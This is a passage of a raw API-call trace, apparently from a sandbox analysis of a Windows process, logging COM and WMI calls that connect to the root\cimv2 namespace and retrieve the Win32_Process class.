riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bfa7390) returned 0x0 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0076.568] WbemLocator:IUnknown:AddRef (This=0x1bfa7390) returned 0x3 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0076.568] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0076.568] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0076.568] WbemLocator:IUnknown:Release (This=0x1bfa7390) returned 0x2 [0076.568] WbemLocator:IUnknown:Release (This=0x1bfa7390) returned 0x1 [0076.568] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0076.568] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0076.568] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa7390, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfa7390) returned 0x0 [0076.568] WbemLocator:IUnknown:AddRef (This=0x1bfa7390) returned 0x3 [0076.569] WbemLocator:IUnknown:Release (This=0x1bfa7390) returned 0x2 [0076.569] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0076.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0076.569] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.569] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bfa73b0) returned 0x0 [0076.569] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa73b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf8c370) returned 0x0 [0076.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8c370, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf965a0) returned 0x0 [0076.624] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf965a0, pProxy=0x1bf8c370, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0076.624] WbemLocator:IUnknown:Release (This=0x1bf965a0) returned 0x1 [0076.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8c370, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf965e0) returned 0x0 [0076.624] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8c370, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf965a0) returned 0x0 [0076.624] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf965a0, pProxy=0x1bf8c370, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0076.625] WbemLocator:IUnknown:Release (This=0x1bf965a0) returned 0x2 [0076.625] WbemLocator:IUnknown:Release (This=0x1bf965e0) returned 0x1 [0076.625] CoTaskMemFree (pv=0x1bf99ca0) [0076.625] WbemLocator:IUnknown:AddRef (This=0x1bf8c370) returned 0x2 [0076.625] WbemLocator:IUnknown:Release (This=0x1bfa73b0) returned 0x0 [0076.625] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0076.625] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0076.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8c370, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf965b0) returned 0x0 [0076.626] WbemLocator:IRpcOptions:Query (in: This=0x1bf965b0, pPrx=0x1bfa7430, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0076.626] WbemLocator:IUnknown:Release (This=0x1bf965b0) returned 0x2 [0076.626] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0076.626] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0076.626] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf8c370, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf8c370) returned 0x0 [0076.626] WbemLocator:IUnknown:Release (This=0x1bf8c370) returned 0x2 [0076.626] SysStringLen (param_1=0x0) returned 0x0 [0076.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6ffe0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0076.626] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0076.626] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6ffe0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.626] WbemDefPath:IWbemPath:GetText (in: This=0x1168f00, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0076.626] WbemDefPath:IWbemPath:GetText (in: This=0x1168f00, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0076.627] IWbemServices:GetObject (in: This=0x1bf8c370, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11fd170, ppCallResult=0x0) returned 0x0 [0076.668] IWbemClassObject:Get (in: This=0x11fd170, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0076.669] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0076.669] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0076.669] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0076.669] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0076.669] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0076.669] IUnknown:Release (This=0x111f638) returned 0x1 [0076.671] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bfa73b0) returned 0x0 [0076.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa73b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0076.672] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa73b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf700a0) returned 0x0 [0076.672] WbemDefPath:IUnknown:Release (This=0x1bfa73b0) returned 0x0 [0076.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf700a0) returned 0x0 [0076.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0076.672] WbemDefPath:IUnknown:AddRef (This=0x1bf700a0) returned 0x3 [0076.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0076.672] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0076.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bfa73d0) returned 0x0 [0076.673] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa73d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.673] WbemDefPath:IUnknown:Release (This=0x1bfa73d0) returned 0x3 [0076.673] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0076.673] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0076.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0076.673] WbemDefPath:IUnknown:Release (This=0x1bf700a0) returned 0x2 [0076.673] WbemDefPath:IUnknown:Release (This=0x1bf700a0) returned 0x1 [0076.673] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0076.673] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0076.673] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf700a0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf700a0) returned 0x0 [0076.673] WbemDefPath:IUnknown:AddRef (This=0x1bf700a0) returned 0x3 [0076.673] WbemDefPath:IUnknown:Release (This=0x1bf700a0) returned 0x2 [0076.673] WbemDefPath:IWbemPath:SetText (This=0x1bf700a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0076.673] IWbemClassObject:Get (in: This=0x11fd170, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0076.673] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0076.674] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0076.674] IWbemClassObject:Get (in: This=0x11fd170, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0076.674] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0076.674] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0076.674] IWbemClassObject:Get (in: This=0x11fd170, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0076.674] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0076.675] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0076.675] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0076.675] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0076.675] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0076.675] IUnknown:Release (This=0x111f638) returned 0x1 [0076.677] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa7590) returned 0x0 [0076.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7590, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0076.677] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa7590, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf70160) returned 0x0 [0076.677] WbemDefPath:IUnknown:Release (This=0x1bfa7590) returned 0x0 [0076.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf70160) returned 0x0 [0076.677] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0076.678] WbemDefPath:IUnknown:AddRef (This=0x1bf70160) returned 0x3 [0076.678] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0076.678] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0076.678] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bfa75d0) returned 0x0 [0076.678] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa75d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0076.678] WbemDefPath:IUnknown:Release (This=0x1bfa75d0) returned 0x3 [0076.678] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0076.678] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0076.678] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0076.678] WbemDefPath:IUnknown:Release (This=0x1bf70160) returned 0x2 [0076.678] WbemDefPath:IUnknown:Release (This=0x1bf70160) returned 0x1 [0076.678] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0076.678] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0076.678] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf70160, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf70160) returned 0x0 [0076.678] WbemDefPath:IUnknown:AddRef (This=0x1bf70160) returned 0x3 [0076.678] WbemDefPath:IUnknown:Release (This=0x1bf70160) returned 0x2 [0076.679] WbemDefPath:IWbemPath:SetText (This=0x1bf70160, uMode=0x4, pszPath="") returned 0x0 [0076.679] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0076.679] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0076.679] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0076.679] IUnknown:Release (This=0x111f638) returned 0x1 [0076.681] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bfa7590) returned 0x0 [0076.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa7590, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, 